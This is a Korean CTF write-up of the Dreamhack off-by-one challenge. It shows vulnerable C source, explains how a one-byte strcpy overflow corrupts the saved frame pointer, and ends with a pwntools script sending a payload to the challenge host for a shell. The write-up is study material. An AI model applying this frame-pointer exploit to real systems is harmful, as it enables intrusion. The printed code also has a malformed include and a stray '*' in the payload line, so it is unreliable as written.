#include <stdio.h>
#include <stdlib.h
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
위 코드는 문제에서 주어진 c파일이다. 내용을 살펴보면 read 함수로 문자열을 256만큼 입력받고 cpy() 함수 안에서 strcpy로 read 함수에서 읽어들인 문자열을 real_name 문자열에 복사하여 저장한다. 해당 코드의 취약점은 strcpy 함수에 있다. strcpy 함수는 두 번째 인자를 첫 번째 인자로 복사하는데 두 번째 인자에서 NULL 까지 포함하여 복사한다는 점에서 취약점이 존재한다. 만약 256 만큼의 문자를 복사하면 뒤에 NULL 문자까지 읽어들이면 257만큼의 문자가 복사되므로 cpy 함수의 sfp의 4바이트 중 1바이트를 00으로 덮어씌우게 된다. 그렇게 오염된 sfp는 real_name이 저장되는 문자열 부분을 가르키게 된다.
해당 코드에서 함수 에필로그 leave, ret을 두번 반복하게 된다. leave, ret을 더 분석해보면 아래와 같다.
leave -> mov esp ebp // esp가 ebp와 같은 곳을 가르키게 된다.
mov ebp [esp] // 1바이트가 00으로 오염된 sfp 값을 ebp에 저장한다.
add esp 4 // esp가 4바이트 만큼 더해진다.
ret -> mov eip [esp] // sfp+4에 있는 ret 주소가 eip에 저장된다.
add esp 4 // esp가 4바이트 만큼 더해진다.
jmp eip // eip로 점프
현재 단계에서는 ret 주소를 건드릴 수 없지만 2번째 함수 에필로그에서 ret 주소를 오염시킬 수 있다.
leave -> mov esp ebp // esp가 ebp와 같은 곳을 가르키게 된다. ebp는 위에서 오염되었기 때문에 현재 main 함수의 본래의 ebp가 아닌 엉뚱한 곳을 가르키고 있다.
mov ebp [esp] // 엉뚱한 곳에 있는 데이터를 ebp에 저장한다
add esp 4 // esp가 4바이트 만큼 더해진다.
ret -> mov eip [esp] // 엉뚱한 곳+4에 있는 ret 주소가 eip에 저장된다.
add esp 4 // esp가 4바이트 만큼 더해진다.
jmp eip // 엉뚱한 곳+4로 점프
문제는 그 엉뚱한 곳이 어디인지를 알아야한다.
gdb를 이용하여 strcpy 함수 앞에 브레이크 포인트를 걸고 실행하여 오염되지 않은 ebp를 확인하겠다.
위 그림을 보면 ebp는 0xffffd168을 가르키고 있다.
다음으로 strcpy 함수 실행 이후의 ebp를 확인하겠다. strcpy 함수 실행 이후에 ebp를 확인하면 0xffffd100 을 가르키고 있다. 0xffffd168에서 뒤 1바이트가 00으로 오염되어 0xffffd100으로 되었다. 여기서 0xffffd100은 오른쪽 문구와 같이 입력한 문자 'a'가 96번 반복되고 있다고 출력되므로 현재 real_name 문자열의 공간 어딘가를 가르키는 것을 알 수 있다. 그리고 현재 esp는 0xffffd060을 가르키고 있는데 해당 주소는 real_name 문자열의 주소이다. 요약하면 real_name 문자열은 0xffffd060 ~ 0xffffd15f 범위로 256바이트 만큼의 공간을 차지하고 있는데 오염된 cpy 함수의 sfp가 0xffffd100으로 하 real_name 문자열 범위에 포함된다.
다시 처음부터 설명하자면 cpy 함수에서 leave, ret을 하면서 sfp가 가르키는 값을 바꾸어서 main의 sfp는 엉뚱한 값 0xffffd100을 가르키게 된다. 그리고 main이 ret할 때 sfp+4를 pop 하므로 0xffffd100+4=0xffffd104에 있는 주소로 이동하여 명령어를 수행하게된다. 따라서 0xffffd104에 get_shell 함수의 주소값을 넣으면 쉘을 획득할 수 있다.
위치를 알았으니 그곳에 get_shell 함수의 주소 값을 덮어씌우면 쉘을 획득할 수 있다. 익스플로잇 코드는 아래와 같다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("host1.dreamhack.games",15931)
payload=b"A"*196 + b"\xdb\x85\x04\x08"* + b"B"*56
r.send(payload)
r.interactive()
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
---|---|
[Dreamhack] basic_rop_x64 (0) | 2021.05.05 |
[Dreamhack] basic_rop_x86 (1) | 2021.05.03 |
[Dreamhack] basic_exploitation_001 (0) | 2021.04.11 |
[Dreamhack] basic_exploitation_000 (0) | 2021.04.06 |
댓글